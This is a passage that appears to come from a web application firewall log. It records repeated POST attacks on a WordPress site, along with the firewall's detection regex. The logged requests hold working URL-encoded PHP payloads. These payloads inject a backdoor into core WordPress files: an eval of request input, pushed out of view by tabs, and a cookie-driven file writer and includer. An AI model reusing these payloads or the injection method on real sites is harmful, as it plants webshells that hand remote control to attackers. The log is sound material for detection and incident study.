Safari\/605.1.15\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/user.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B27%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B27%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B27%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B0%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B14%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B2%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B21%255D%2528%2524n%252C%2524p%255B22%255D.%2524p%255B24%255D%2528%2524p%255B6%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:51:54","190.92.169.79","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527vUQmoL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrIVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:2029\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nyR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527vUQmoL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:51:57","152.53.138.6","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bG:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527vUQmoL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLxpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:2029\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\nbG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527vUQmoL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:52:22","118.139.167.171","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527vUQmoL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpaZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:2029\n\nrs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527vUQmoL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:52:28","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ec:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527vUQmoL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMJZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:2029\n\nec=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527vUQmoL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:52:32","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ve:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527vUQmoL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIzHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:2029\n\nVe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tag-form.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527vUQmoL%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%2